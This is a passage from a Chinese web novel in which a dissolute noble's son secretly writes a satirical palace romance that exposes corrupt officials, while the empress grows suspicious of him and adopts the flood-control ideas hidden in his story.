他双手捧着一本皱巴巴的话本,高举过头顶,泣不成声:
“陛下您看!您看看那市井狂徒,将老臣污蔑成了什么样子!老臣…老臣清白一世,忠心为国,如今竟受此奇耻大辱!
陛下!此风断不可长!必须严惩作者,以正朝纲!否则,百官人人自危,朝廷威严何在啊陛下!”
萧璇月看着底下哭得一把鼻涕一把泪的李文弼,心中那股莫名的舒畅感更强烈了。
她强忍着笑意,故作惊讶地让云暮将话本取来,随意翻看了几眼,然后轻轻放下,语气平和,甚至带着一丝宽慰道:
“李爱卿,何必如此动怒?不过是一本架空演义,虚构的宰相,虚构的剧情,当不得真。爱卿乃国之柱石,胸襟开阔,何必与这市井小说一般见识?”
李文弼猛地抬头,简直不敢相信自己的耳朵!
这话…怎么如此耳熟?!
萧璇月继续慢条斯理地道:
“朕记得,前几日话本流传之初,当时朕欲严查,爱卿与众位卿家还劝朕,说‘陛下胸怀四海,当有容人之量’,
‘些许流言,不过清风拂山岗,何
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足挂齿’?怎么,如今这‘清风’吹到爱卿自己身上,就变成**了?”
她顿了顿,凤眸中闪过一丝戏谑,学着李文弼当日的语气和神态,悠然道:
“李爱卿啊,防民之口,甚于防川。若因小说家言便兴师动众,恐伤爱卿清流之名,更恐寒了天下士子之心啊!爱卿,当大度些才是。”
“噗——”
一旁侍立的云暮实在没忍住,赶紧低下头,肩膀微微耸动。
李文弼跪在地上,脸上一阵红一阵白,张着嘴,半天说不出一个字来。
陛下这番话,简直就是把他前几天在朝堂上说的话,原封不动地砸回到了他自己脸上!
这脸打得,啪啪作响!
他此刻终于体会到了什么叫搬起石头砸自己的脚,什么叫哑巴吃黄连,有苦说不出!
一股前所未有的憋闷和耻辱感涌上心头,差点让他当场晕厥过去。
当时说这话的时候本来只是想看女帝的笑话,鬼知道那个恶毒作者会把自己写进去!
萧璇月看着李文弼那副窘迫至极的模样,心中大快,但表面依旧维持着平静:
“好了,爱卿起来吧。此事朕知道了,会留意。但大动干戈就不必了,清者自清嘛。退下吧。”
李文弼浑浑噩噩地谢恩,失魂落魄地退出了紫宸殿,背影佝偻,仿佛一瞬间老了十岁。
殿内,萧璇月终于忍不住,轻笑出声。
这个神秘的话本作者,虽然行事荒诞不经,但这次…倒是无形中帮她出了一口恶气。
翰林院编修处,一间堆满陈旧卷宗的值房内,江凡正襟危坐…至少在表面上是如此。
他手里握着笔,眼神却涣散无光,心思早已飞到了九霄云外。
入职已经好几天了,这差事果然如预想般清闲,或者说,无聊透顶。
每日的工作就是核对、抄录一些无关紧要的史料或地方志,别说参与机要,连点像样的文书都碰不到。
这对江凡来说,简直是天赐的摸鱼良机。
他熟练地运用【敛息诀】,将自己的存在感降到最低,无人注意。
大部分时间,他都在脑海里构思《深宫秘恋》的后续剧情,或者偷偷打草稿。
第007章 暴殄天物啊
“哼,逍遥公子?朕倒要看看,你这回又编排出什么幺蛾子!”
紫宸殿内,萧璇月屏退左右,独自坐在灯下,手里拿着暗卫刚刚送来的新章节手抄本。
她嘴上嫌弃,动作却带着一丝急切。
翻开书页,依旧是那个让她又气又无奈的主线——
英明神武的‘女帝’和那个侍卫林枫的感情,在各种‘误会’与‘考验’中螺旋式升温。
这次更是写到了‘女帝’为林枫亲手缝制香囊,林枫则为‘女帝’挡下暗箭的桥段。
“胡闹!荒唐!朕岂会做这等小女儿姿态!这林枫,分明是居心叵测!”
萧璇月看得面红耳赤,忍不住低声斥骂,但目光却死死黏在纸上,心跳莫名有些加速。
这作者对人物心理的把握,对情节张力的营造,确实到了炉火纯青的地步,让她这个‘受害者’都忍不住想知道下文。
然而,真正让她凤眸亮起的,是穿插在狗血剧情中的几处‘闲笔’。
在一场宫廷夜宴上,‘逍遥公子’借一位郁郁不得志的翰林之口,吟出了一首咏月词:
“明月几时有?把酒问青天。不知天上宫阙,今夕是何年。我欲乘风归去,又恐琼楼玉宇,高处不胜寒。起舞弄清影,何似在人间?”
萧璇月反复咀嚼着这几句,只觉一股超然物外、却又隐含孤寂的意境扑面而来,清丽旷达,直击心灵。
她自幼饱读诗书,鉴赏力极高,此刻却不得不承认,这首词,堪称绝品!
另一处,在‘女帝’面对藩王逼迫,内心焦灼时,书中又出现了一段关于治国之道的论述:
“民为水,君为舟。水能载舟,亦能覆舟。故善治者,必先恤民力,察民情。苛政猛于虎,敛财如竭泽,岂是长久之道?不若轻徭薄赋,藏富于民,则根基稳固,外患不足惧矣。”
这段话,如同醍醐灌顶,让正为北方军饷和各地税收问题头疼的萧璇月眼前一亮!
‘逍遥公子’绝非只会写风月故事的庸才,其胸中自有沟壑!
这看似简单的道理,朝堂上那些夸夸其谈的大臣,又有几人能真正领会并践行?
“这个逍遥公子…究竟是何方神圣?”
萧璇月放下手稿,走到窗边,望着夜空中的明月,心中第一次对这个‘诽谤’自己的作者,产生了强烈的好奇,甚至…是欣赏。
那首词中的‘高处不胜寒’,又何尝不是她身为帝王,内心偶尔泛起的孤寂写照?
很快,这几首诗词和治国论述,如同长了翅膀一般,先是在小范围的文人士子圈中流传,引起了巨大的轰动。
“绝唱!此乃咏月绝唱!”
“这‘逍遥公子’大才!奈何写这等…唉,暴殄天物啊!”
“此言振聋发聩!‘民为水,君为舟’,说得太好了!”
原本被士大夫阶层鄙夷为‘不入流’、‘伤风败俗’的话本,第一次被摆上了台面,引发了激烈的争论。
有人痛心疾首,认为如此才华写淫词艳曲是自甘堕落;
也有人认为,话本不过是载体,其中蕴含的才情与见识值得重视。
就连一向古板的翰林院几位老学士,私下里讨论起那首咏月词时,也忍不住击节赞叹。
江凡在翰林院,自然也听到了这些议论。
他表面装作懵懂无知,和几个勋贵子弟同事一起嘲笑‘那写**的家伙真是不知死活’,内心却乐开了花。
【人气值+188】
【人气值+266】
【人气值+355】
……
系统中,人气值的增长幅度明显提升了一大截!
显然,文坛大佬和上层社会的关注,带来的影响力远超普通市井百姓。
看着系统中累积的超过三万点人气值,江凡心满意足。
他毫不犹豫地连续兑换了多次内力灌输。
一股股热流在丹田内汇聚、压缩,奔涌在四肢百骸。
他感觉到体内的经脉被拓宽,真气愈发充盈凝练。根据系统提示,他的修为已然稳固在了后天五品!
在这个世界,后天境界分为九品到一品,九品
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最低,一品最高。
后天之后,还有先天、宗师、大宗师、极道宗师乃至传说中的陆地神仙。
短短时日,从一个手无缚鸡之力的废物,一跃成为后天五品的好手。
虽然还算不上什么高手,但至少有了不错的自保之力。
身体轻盈,耳聪目明,连带着抄写文书的速度都快了不少。
让那个对他本不抱期望的掌院学士都微微点头,觉得这个纨绔子似乎也没那么不堪。
“照这个速度,攒够人气值冲击先天境界,指日可待!”
江凡心中充满了干劲。
这日下值,江凡心情颇佳,拒绝了同僚去喝酒的邀请,打算溜达回府。
街道上车水马龙,颇为热闹。
然而,刚转过一个街口,一阵喧哗声便传入耳中。
“小娘子,别走啊!跟少爷我回府,保你吃香喝辣!”
“放开我!求你放开我!”
“滚开!老东西,敢拦本少爷的路?知道我爹是谁吗?”
只见一个穿着锦袍、面色虚浮的年轻公子哥,正带着几个恶奴,拉扯着一个穿着粗布衣裙、容貌清秀的少女。
旁边一个老实巴交的老汉跪在地上苦苦哀求,却被一个恶奴一脚踹开。
周围围了不少人,却都敢怒不敢言。
有人低声议论:“是王侍郎家的公子王鹏…”
“唉,又出来祸害人了…”
“他爹是吏部侍郎,有权有势,惹不起啊…”
那王鹏愈发嚣张,一只手几乎要摸到那少女脸上,淫笑道:
“在这京城,还没本少爷得不到的女人!你爹欠的赌债,拿你抵债,天经地义!”
江凡眉头一皱。
他自认不是什么正义使者,但这种当街强抢民女的事情,实在看得窝火。
尤其是那王鹏嚣张跋扈的样子,让他想起了前世最讨厌的某些二代。
他本不想多事,但眼看那少女泪水涟涟,老汉倒地呻吟,周围无人敢管,一股血气涌了上来。
“住手!”江凡分开人群,走了过去。
第008章 找到原因了
王鹏斜眼一看,忽然觉得有些眼熟。
猛地想起,这不是镇国公家那个有名的纨绔子江凡吗?!
虽然两家没什么交情,但镇国公的权势,可不是他爹一个侍郎能比的!
而且听说这江凡最近不知走了什么运,竟然得了陛下青眼,在翰林院挂了职!
想到这里,王鹏的气焰顿时矮了半截,脸色变幻不定。
他爹再三叮嘱他,最近京城不太平,尤其不要招惹那些顶级勋贵子弟。
“你…你是江…”
王鹏语气软了下来。
江凡懒得跟他废话,从钱袋里摸出约莫十两银子,扔给那吓傻了的老汉:
“拿着,带你女儿赶紧走,以后离赌坊远点。”
老汉千恩万谢,拉着女儿磕了个头,慌忙钻出人群跑了。
江凡这才看向王鹏,冷冷道:
“王公子,以后出门收敛一些。不是所有人,你都惹得起。”
说完,不再理会脸色一阵青一阵白的王鹏,转身潇洒离去。
王鹏看着江凡的背影,拳头紧握。
今天被人坏了好事,但又不敢明着报复镇国公府。
他好半天才啐了一口骂道:
“装什么?你名声比老子差远了,混了编制也洗刷不了以前的污点!”
回到自己的小院,江凡想起白天王鹏那嚣张的嘴脸,以及他爹王侍郎的官位,越想越觉得不爽。
这种蛀虫,仗着父辈权势胡作非为,朝廷就是因为有太多这样的官员,才积弊重重。
“哼,正好没素材了,就拿你们父子开刀!”
江凡恶向胆边生,决定将这对父子写进《深宫秘恋》的最新章节里。
为了更高效地‘创作’并增加‘趣味性’,他咬牙花费了一万点人气值,兑换了【书画技能(满级)】。
瞬间,无数关于书法运笔、绘画构图、意境营造的知识和肌肉记忆涌入脑海,仿佛他已经在此道沉浸了数十年!
他拿起笔,感觉笔尖如同手臂的延伸,挥洒自如。
他铺开纸张,文思如泉涌,笔下生风。
这一次,他不仅用文字刻画,还打算配上插图!
在故事中,王侍郎成了一个谄媚上司、欺压下属、贪赃枉法的奸佞之臣,而他的儿子‘王霸天’则是一个标准的恶少,欺男霸女,无恶不作。
江凡用宗师级的画技,寥寥几笔,就勾勒出‘王侍郎’肥头大耳、贪婪猥琐的丑态。
以及‘王霸天’当街调戏民女、被主角林枫教训的滑稽场面,画得惟妙惟肖,极具讽刺和神韵。
他知道不能高调,在画风和笔迹上故意做了掩饰,使其看起来更像民间高手的作品,而非宫廷画师的手笔。
但其中的‘神韵’却难以完全掩盖。
写完画完,江凡只觉得通体舒畅,将稿件提交给系统。
【作品检测中…完整性符合要求,原创度审核通过。】
【开始随机生成复刻本(200份),投放至京城及周边区域…投放中…】
这一次,因为配有极具冲击力的插图,新章节的传播速度和影响力远超以往!
第二天,这份新鲜出炉的‘逍遥公子大作’便通过各种渠道,出现在了某些官员的案头。
当然,也第一时间被暗卫送到了女帝萧璇月的面前。
萧璇月先是惯例地吐槽了一下主线剧情的‘不合理’,然后便被那讽刺王侍郎父子的支线剧情吸引了。
尤其是那几幅漫画般的插图,将贪官的丑恶和恶少的愚蠢刻画得入木三分,让她忍不住莞尔。
“这个逍遥公子,倒是嫉恶如仇。”
她心中暗道。
但看着看着,她秀眉微蹙,忽然想起昨日暗卫汇报的一条无关紧要的消息:
镇国公之子江凡,下值回府途中,与吏部侍郎王朗之子王鹏发生冲突。
起因似是王鹏当街欺压百姓,**凡制止。
时间、人物、事件性质…如此巧合?
萧璇月的心猛地一跳。
上一次,江凡刚在翰林院怼了宰相李文弼,新章节里李文弼就成了大反派。
这一次,江凡刚和王鹏起了冲突,新章节里王侍郎父子就倒了血霉…
一次是巧合,两次呢?
她立刻唤来云暮,语气严肃:
“去,给朕查一查吏
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部侍郎王朗!要隐秘,重点查他的家产、往来账目,还有他儿子王鹏平日里的所作所为!”
“是,陛下!”
就在暗卫暗中调查王朗的同时,王朗本人,正捧着那份话本,气得浑身发抖,脸色惨白!
“混账!无耻!诽谤!这是诽谤!”
他一把将手稿摔在地上,犹不解气,又狠狠踩了几脚。
书中将他写得如此不堪,还配了那般丑化的画像,这要是传开,他还有何颜面立于朝堂?
更让他心惊肉跳的是,书中提到的几桩‘贪墨’事件,虽然细节有出入,但方向却隐隐指向了他一些见不得光的勾当!
这‘逍遥公子’到底是瞎蒙的,还是知道些什么?
就在这时,他那个不成器的儿子王鹏,哭丧着脸跑了进来:
“爹!爹!不好了!昨天的事…昨天我…我遇到镇国公家的江凡了…”
他虽然纨绔,但也听到了最新章节,瞬间明白可能是在影射他和老爹。
于是第一时间跑来坦白从宽,根本不敢有丝毫隐瞒。
王朗听完,更是眼前一黑!
他终于找到原因了!
很多人都猜测逍遥公子就住在皇城,而昨日江凡和自己儿子冲突,很可能被逍遥公子见到。
于是晚上就被写进书里!
“逆子!都是你惹的祸!”
王朗气得一巴掌扇在王鹏脸上,然后也顾不上教训儿子了,心急火燎地换上朝服,他要立刻进宫,向陛下请罪!
至少,要把当街欺男霸女的事情,解释成‘误会’,争取个主动!
至于话本的事…只能寄希望于陛下明察,不要相信那荒诞之言了!
第二天早朝,气氛微妙。
没等萧璇月开口,王朗就噗通一声跪倒在地,涕泪横流:
“陛下!臣有罪!臣教子无方,致使犬子昨日在街市与人发生口角,惊扰了百姓,臣罪该万死!
但请陛下明鉴,那纯属误会,犬子绝无强抢民女之心啊!”
他这番表演,可谓欲盖弥彰。
不少官员都听说了昨日之事和话本内容,看向王朗的目光充满了玩味。
第009章 能学点东西
萧璇月面无表情地听着,心中冷笑。
这时,云暮悄悄上前,递上一份密奏。
萧璇月快速浏览了一遍,脸色瞬间沉了下来。
暗卫的效率极高,虽然时间仓促,但已经查到了王朗几笔来源不明的巨额财产,以及他儿子王鹏平日里的诸多恶行,证据确凿!
“王爱卿,”萧璇月打断王朗的哭诉,声音冰寒,
“你教子无方?朕看,你是治家不严,为官不廉!”
她将暗卫的密奏狠狠摔在御案上:
“朕问你,你城西那座三进宅院,购置于三年前,价值万金,钱从何来?你儿子王鹏,去年在百花楼为一**一掷千金,钱又从何来?你区区侍郎俸禄,够吗?!”
王朗如遭雷击,瘫软在地,面如死灰。
他万万没想到,陛下竟然已经查到了这么多!
而且如此之快!
“陛下…臣…臣…”
他支支吾吾,一句完整的话也说不出来。
萧璇月凤目含威,扫视全场:
“吏部侍郎王朗,贪赃枉法,纵子行凶,着即革去所有官职,抄没家产,交有司论罪!其子王鹏,押入大牢,严惩不贷!”
“陛下圣明!”
群臣山呼。尤其是之前被王朗打压过的官员,更是觉得大快人心。
退朝后,萧璇月回到御书房,心情复杂。
一方面,铲除了一個贪官,整顿了吏治,让她感到舒畅。
另一方面,对‘逍遥公子’和江凡的好奇,达到了顶点。
这个逍遥公子,每一次的话本,都仿佛能未卜先知,或者直指要害。
上次是李文弼,这次是王朗…难道他真有洞察朝局之能?
而江凡…这个印象中只会惹是生非的纨绔,两次冲突,两次都巧合地成为了‘逍遥公子’笔下的‘**’。
他制止王鹏,是巧合,还是…别有深意?
他看似鲁莽的行为背后,是否隐藏着什么?
萧璇月走到窗前,看着宫墙外的天空。
第一次觉得,那个看似简单的镇国公府纨绔子,以及那个神秘莫测的话本作者,就像一团迷雾,吸引着她去探寻。
“江凡…逍遥公子…你们之间,到底有没有关系?”
她轻声自语,眸中闪烁着探究的光芒。
翰林院编修处。
江凡依旧坐在靠窗的角落,眼神却有些飘忽,脑海里正推演着《深宫秘恋》下一章的剧情走向——
是时候让那个总给林枫使绊子的‘李宰相’吃点更大的苦头了。
然而,一股极其细微的香风,伴随着一阵刻意放轻的脚步声,由远及近。
江凡几乎是本能地,【敛息诀】悄然运转,周身气息瞬间变得若有若无。
他微微垂下头,将目光聚焦在面前的书页上,摆出一副认真研读的模样,心中却是一紧:
这感觉…不对劲。
值房内的其他几个书吏察觉到了异常,纷纷抬起头。
待看清来者后,个个脸色大变,慌不迭地起身,扑通跪倒在地,声音带着惶恐:
“参…参见陛下!”
陛下?
女帝萧璇月?
她怎么会来这种偏僻、无关紧要的地方?
江凡心中警铃大作,但动作不敢有丝毫迟疑,也连忙跟着起身行礼:
“参见陛下。”
“都平身吧,朕随意看看。”
一个自带威严的声音响起,在这安静的值房里格外清晰。
众人战战兢兢地起身,垂手侍立,连大气都不敢喘。
江凡也低着头,用眼角的余光飞快地瞥了一眼。
只见萧璇月并未穿着正式的龙袍朝服,而是一身较为简约的月白色常服,裙摆绣着淡淡的银丝云纹,整个人显得清雅出尘。
她站在那里,身姿挺拔,凤眸流转间,依旧自然而然地成为了整个空间的中心。
她身后只跟着贴身女官云暮,并无大队仪仗,显得颇为低调。
萧璇月的目光看似随意地扫过值房内堆积如山的卷宗,以及几个噤若寒蝉的官员,最后,落在了角落里的江凡身上。
她莲步轻移,缓步走了过来。
“你在看什么书?”
萧璇月在江凡的书案前停下,语气平淡,听不出喜怒。
江凡面上却努力维持着镇定:
“回…回陛下,是…是《前朝水利疏要》,掌院学士吩咐…吩咐下官整理抄录一些有用的段落。”
“哦?”萧璇月眉梢动了一下,“可有什么心得?”
心得?
江凡心里吐槽,我心得就是这书又臭又长,
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看得人想睡觉。
但他嘴上可不能这么说,只好硬着头皮含糊道:
“这个…下官才疏学浅,只觉得前人治水,颇重疏导,而非一味堵塞,似乎…似乎有些道理。”
他这话说得中规中矩,甚至有点空洞,完全符合一个‘不学无术’的纨绔形象。
然而,萧璇月却注意到,眼前这个年轻人,虽然看似紧张,但回话时口齿清晰,并未像其他几人那样吓得语无伦次。
而且,他低垂的眼眸深处,似乎并没有真正的惶恐,反而有一种…平静?
这有点意思。
萧璇月决定再试探一下。
她随手拿起书案上江凡刚刚‘认真’抄写的一页纸,上面的字迹…
嗯,只能算是工整,远远谈不上好看,但比起传闻中狗爬般的字,似乎又强了那么一点点?
“字还需多练练。”
她却不知道,这是江凡兑换了书画满级之后,为了避免高调,需要写字的时候都用左手随意写的。
萧璇月淡淡点评了一句,将纸张放下,话锋却不着痕迹地一转,
“在翰林院当值,可还习惯?比起你以往在外头的日子,怕是枯燥许多吧?”
来了!
江凡心中暗道,这是要敲打我吗?
他赶紧露出一个带着点讪笑和无奈的表情:
“回陛下,习惯,习惯…是有点闷,不过…不过也挺好的,清静,能…能学点东西。”
他努力把自己塑造成一个被迫上班、但勉强适应的纨绔形象。
萧璇月看着他这副样子,心中那份疑惑却更重了。
这江凡的谈吐,虽然算不上文采斐然,但也绝非市井传闻中那般粗鄙不堪。
尤其是他刚才评价治水那句话,虽然简单,却隐约点到了关键。
这真的只是一个纯粹的废物纨绔吗?
她决定将试探进行到底。
她看似随意地走到窗边,望着窗外庭院里的一株**,仿佛闲聊般说道:
“近日京城倒是热闹,市井间流传一本话本,叫什么…《深宫秘恋》的,内容荒诞不经。
但听说其中偶有些诗词句子,倒是颇受一些文人追捧。江编修平日可曾听闻?”
江凡的心猛地一跳!
竟然扯到这上面来了!
第010章 天大的恩典
江凡后背瞬间沁出冷汗,但脸上却努力做出茫然又带点好奇的样子:
“话本?《深宫秘恋》?哦!陛下说的是那个…那个写女帝和侍卫的话本吧?”
他恰到好处地露出一点男人都懂的表情,
“听…听是听说过,热闹得很!不过那种东西,下官…下官可不敢看,我爹知道了非打断我的腿不可!”
他这番表演,将一个既对风流韵事感兴趣,又害怕严父的纨绔子弟形象刻画得入木三分。
萧璇月转过身,凤眸静静地看着他,似乎想从他脸上找出任何一丝破绽:
“是吗?朕还以为,你们年轻人,都会喜欢这类新奇故事。听说那作者‘逍遥公子’颇有几分歪才。
尤其是诗词,连翰林院几位老学士都称赞不已。江编修也是读书人,就没点兴趣?”“逍遥公子?这名字倒是挺潇洒。”
江凡挠了挠头,一副不学无术的样子,
“诗词?陛下您可别抬举下官了,下官连《三字经》都背不全,哪懂什么诗词好坏啊。
那些之乎者也的东西,听着就头疼。有那功夫,还不如去…去听听曲儿实在。”
他故意把话题往自己‘擅长’的玩乐上引。
最好让女帝一怒之下,把自己罢官最好。
萧璇月连续几个问题,都**凡用装傻充愣、自污形象的方式巧妙地挡了回来,滑不溜手,让人抓不住任何把柄。
她心中那股怀疑不断滋生,却苦于没有证据。
眼前这个年轻人,要么是真的烂泥扶不上墙,要么…就是伪装得极好!
她深深地看了江凡一眼,那目光似乎要穿透他的皮囊,直抵内心。
江凡被她看得心里发毛,只能努力维持着那副憨厚中带着点蠢笨的表情。
半晌,萧璇月才收回目光,语气恢复了一贯的清冷:
“既然在翰林院当值,便安心做事,莫要辜负了你父亲和朕的期望。”
“是,是,下官谨记陛下教诲!”
江凡如蒙大赦,连忙躬身应道。
萧璇月没再说什么,带着云暮,如来时一般,悄然离去。
直到那抹月白色的身影彻底消失在院门之外,值房内凝固的空气才仿佛重新流动起来。
几个同僚长长舒了口气,互相交换着心有余悸的眼神,低声议论着陛下为何会突然驾临这种地方。
有人猜测是来看望某位老学士,有人则认为只是偶然兴起。
只有江凡,缓缓坐回椅子上,掌心已是一片湿冷。
“好险…”
他暗自吁了口气。
女帝刚才那看似随意的问话,实则步步紧逼,充满了试探。
尤其是最后那深深的一眼,几乎让他以为自己的马甲要掉了。
“看来以后得更小心才行…这女人,直觉太可怕了。”
江凡下定决心,要更加低调,将‘苟之道’进行到底。
……
下值回国公府,江凡刚换下官服,就被父亲江撼岳身边的老管家请到了书房。
书房内,江撼岳正坐在太师椅上,手里捧着一杯茶,脸色比起以往,竟难得的和缓了许多。
看到江凡进来,他甚至指了指旁边的椅子:
“坐吧。”
江凡有些受宠若惊地坐下,心里嘀咕,太阳打西边出来了?
老爹今天态度这么好?
“今日在翰林院…可见到陛下了?”
江撼岳抿了口茶,状似随意地问道。
江凡心里一紧,面上不动声色:
“回父亲,见到了。陛下只是随意巡视,问了几句话。”
“嗯。”江撼岳点了点头,脸上竟露出一丝满意,
“陛下日理万机,还能抽空去翰林院,这是重视文教。你能在陛下面前留下点印象,总是好的。”
他顿了顿,语气带着罕见的温和,
“怎么样,在翰林院这些时日,可还适应?差事…辛苦吗?”
若是以前,江撼岳是绝不会用这种语气跟儿子说话的。
可见江凡最近‘安分守己’地去当差,没有惹是生非,让这位老父亲的心态发生了微妙的变化。
江凡察言观色,心里有了底,于是故意叹了口气,开始吐槽:
“父亲,您是不知道,那差事…唉,无聊透顶!整天就是对着那些发霉的故纸堆,抄抄写写,眼睛都快看瞎了。
哪有在外头自在?父亲,要不…您跟陛下说说,这差事我还是别干了吧?我实在不是那块料啊!”
他这倒不全是演戏,他是真不想天天去点卯。
然而,他话音刚落,江撼岳刚刚和缓的脸色瞬间由晴转阴,‘砰’地一声将茶杯顿在桌上。<
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br>“混账东西!刚夸你两句就原形毕露!”
江撼岳虎目圆瞪,声如洪钟,
“陛下钦点的差事,那是天大的恩典!多少人挤破头都得不到!你倒好,还敢挑三拣四?无聊?辛苦?
老子当年在战场上刀头舔血的时候,怎么没喊辛苦?!你给我老老实实在翰林院待着!再敢有这种念头,看老子不打断你的腿!”
江凡被喷了一脸唾沫星子,缩着脖子,不敢再吭声。
得,看来这‘牢’是坐定了。
就在这时,书房门被轻轻推开,江芷兰端着两碗冰镇莲子羹走了进来,显然听到了刚才的动静。
她无奈地看了父亲一眼,将莲子羹放在桌上,柔声道:
“父亲,您消消气。凡儿年纪还小,慢慢教就是了。”
她又转向江凡,嗔怪道:
“凡儿,你也是,好不容易有个正经营生,要珍惜才是,怎么能说这种话让父亲生气?”
有姐姐打圆场,书房里的**味才淡了些。
江撼岳哼了一声,重新坐下,端起莲子羹。
江芷兰看着弟弟,忽然想起一事,叹了口气道:
“不过话说回来,也难怪凡儿觉得枯燥。如今朝中事务繁杂,陛下近日更是为江南即将到来的汛期忧心不已。
听说今年雨水尤甚往年,国库却又空虚,若是堤防不固,酿成水患,不知多少百姓要流离失所…
唉,一想到这个,什么闲情逸致都没了。”
江撼岳闻言,脸色也凝重起来,放下碗羹:
“是啊,江南乃赋税重地,若真有大的水患,后果不堪设想。陛下为此,已是连续多日寝食难安了。可惜朝中…唉,懂水利又能办实事的人,太少了。”
姐弟二人又就着江南水患和朝中局势聊了几句,言语间充满了对女帝的同情和对国事的担忧。
江凡在一旁默默听着,扒拉着碗里的莲子,心中却是一动。
江南水患?国库空虚?
他脑海中瞬间闪过前世看过的关于防洪防汛、水利工程的各种知识碎片。
虽然不成系统,但很多理念绝对是超越这个时代的。
比如加固堤坝的方法、分洪区的设置、预警机制、甚至以工代赈组织民众兴修水利等等…
一个念头在他心中升起。
……
第011章 乃国士之才
当晚,江凡的小院灯火未熄。
他铺开纸张,宗师级的书画技能让他下笔如有神。
在《深宫秘恋》的最新章节里,主线剧情依旧狗血——‘大乾女帝’因为‘林枫’救了落水的她而感情进一步升温,略带些‘恋爱脑’的倾向。
但真正的重头戏,被他安排在了支线。
他虚构了一场席卷‘大乾’南部的特大洪水,然后借着主角‘林枫’的视角和献策,详细地阐述了如何防洪防汛:
勘察与预警、加固与清障、分洪与泄洪、物资与人员、灾后与重建...
最后利用‘以工代赈’的方式,招募灾民参与修复堤坝、疏浚河道等工程,既解决了灾民安置问题,又巩固了水利设施。
江凡不仅用文字描述,还凭借宗师级的画技,绘制了几幅简单明了的水利工程示意图。
虽然刻意简化了笔法,但原理清晰,一目了然。
他将这些超越时代的治水理念,巧妙地包裹在跌宕起伏的故事情节中。
让‘林枫’以‘家传学识’或‘奇人授业’的名义提出,既合理又引人入胜。
写完画完,已是深夜。
江凡仔细检查了一遍,确保没有直接抄袭原句,只是理念的化用和故事的再创作,然后提交给了系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(300份),投放至京城及周边区域…投放中…】
做完这一切,江凡长长舒了口气,吹熄灯火,躺到床上。
他并不知道自己这番‘剧透’能起到多大作用,只是本着一点穿越者的良知,以及或许能间接帮到那些可能受灾的百姓的心态,做了这件事。
当然,顺便还能赚点人气值,何乐而不为?
……
翌日,紫宸殿侧殿。
萧璇月刚结束一场关于江南漕运和防汛的朝会,心情愈发沉重。
户部依旧哭穷,工部提出的方案老套且耗费巨大,各方争论不休,拿不出一个切实有效的办法。
她揉着发胀的太阳穴,感觉一阵疲惫。
“陛下,逍遥公子的新章节送到了。”
云暮悄声上前,将一叠手稿放在御案上。
萧璇月有些烦躁地挥挥手:
“先放着吧。”
她现在满脑子都是钱粮、堤坝、流民,哪有心情看那些情情爱爱?
云暮犹豫了一下,低声道:
“陛下,暗卫说…这一期的话本,似乎有些…不同。里面提到了很多关于防洪治水的内容,绘声绘色,颇为新奇。”
“哦?”萧璇月这才提起一点兴趣。
那个逍遥公子,又要搞什么名堂?
她倒是记得,上次那‘民为水,君为舟’的论述,颇有些见地。
她拿起手稿,先是习惯性地快速浏览主线剧情。
看到‘大乾女帝’对林枫越发依赖,甚至有些不顾身份的‘恋爱脑’倾向时,她忍不住又蹙起了眉头,低声啐道:
“胡闹!一国之君,岂能如此儿女情长!”
但当她耐着性子,跳过那些让她脸热的感情戏,看到书中关于那场虚构洪水以及‘林枫’提出的详尽应对策略时,她的目光骤然凝固了!
从提前勘察预警,到加固清障,再到主动分洪泄洪的理念,以及灾后以工代赈…
一条条,一款款,逻辑清晰,思路缜密,许多想法闻所未闻,却又直指要害,仿佛为她打开了一扇全新的窗户!
尤其是那‘主动分洪’、‘以工代赈’的策略,更是让她拍案叫绝!
这不仅能有效减少洪灾损失,还能稳定灾民,巩固水利,简直是一举数得!
她看得越来越慢,越来越仔细,甚至反复推敲某些细节。
脸上变得无比的专注和震惊!
“这…这真是…”
萧璇月放下手稿,美眸中闪烁着光芒。
这绝不是一个普通小说家能凭空想象出来的!
这需要何等渊博的学识和对水利工程的深刻理解?
这个逍遥公子,究竟是何方神圣?
难道他不仅是文学大家,还是匿于市井的治水奇才?!
她猛地站起身,在殿内来回踱步,心潮澎湃。
话本中这些看似‘虚构’的策略,虽然细节需要完善,但大方向极具可行性!
如果能参照施行,或许真能缓解江南的燃眉之急!
“云暮!”
萧璇月停下脚步,语气急促,
“立刻将这期话本中关于治水的部分,单
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独抄录出来,抹去无关情节!召工部尚书、侍郎,还有几位精通水利的老臣,即刻进宫议事!”
“是,陛下!”
云暮也意识到事情的重要性,连忙领命而去。
萧璇月重新坐回龙椅,拿起那叠手稿,目光再次落在那些关于‘大乾女帝’和‘林枫’的‘恋爱脑’情节上,眼神却变得无比复杂。
这个逍遥公子,一边写着让她哭笑不得、甚至有些恼火的‘诽谤’故事,一边却又在关键时刻,献上了可能拯救万民于水火的良策…
他到底是正是邪?
而那个刚刚被她‘巡视’过、看似懵懂无知的纨绔子弟江凡,他的身影,再一次不受控制地浮现在萧璇月的脑海中。
这两者之间,那若有若无的关联,是巧合,还是…?
时间不长,几位大臣先后赶到。
工部尚书赵垣、侍郎孙淼,以及两位鬓发皆白、以精通水利著称的致仕老臣陈公、李公,皆屏息垂首立于下首,殿内落针可闻。
“都看看吧。”
萧璇月转过身,声音清冷,将云暮方才呈上的几页纸递了过去。
那上面,只摘录了《深宫秘恋》最新章节中所有关于防洪治水的论述与示意图,那些令人面红耳赤的互动已被尽数剔除。
工部尚书赵垣率先接过,起初还有些疑惑,陛下急召,为何要看这等…话本摘录?
但当他浑浊的老眼扫过第一行字——‘水势未至,勘察先行,设观测点,烽火速递’——
眉头便是一动。再往下看,
‘加固非唯加高,重在夯基护坡’、‘主动分洪,舍小保大’、‘以工代赈,一举两得’……
一条条,一款款,宛如一道道闪电劈开他固有的治水思路。
侍郎孙淼也凑了过来,越看眼睛瞪得越大,呼吸都变得粗重起来。
那两位老臣更是激动得胡须微颤,陈公甚至用手指虚点着图纸上那简略却精准的分洪区示意图,声音发颤:
“妙!妙啊!陛下!此策…此策看似大胆,却深合水性!若能在长河下游择低洼之地预设分洪区,
开可控闸口,汛时主动泄洪,确能保江宁、苏杭等重镇无恙!这…这是何人所献?真乃国士之才!”
第012章 提升到二品
李公也连连点头,满脸红光:
“老臣治水一生,从未想过‘主动’二字!历来只知堵,却不知疏导亦可如此巧妙!
还有这‘以工代赈’,灾民有活路,堤防得巩固,民心亦安…陛下,若此法能行,江南今年或可免于大难!”
工部尚书赵垣深吸一口气,压下心中的惊涛骇浪,拱手沉声道:
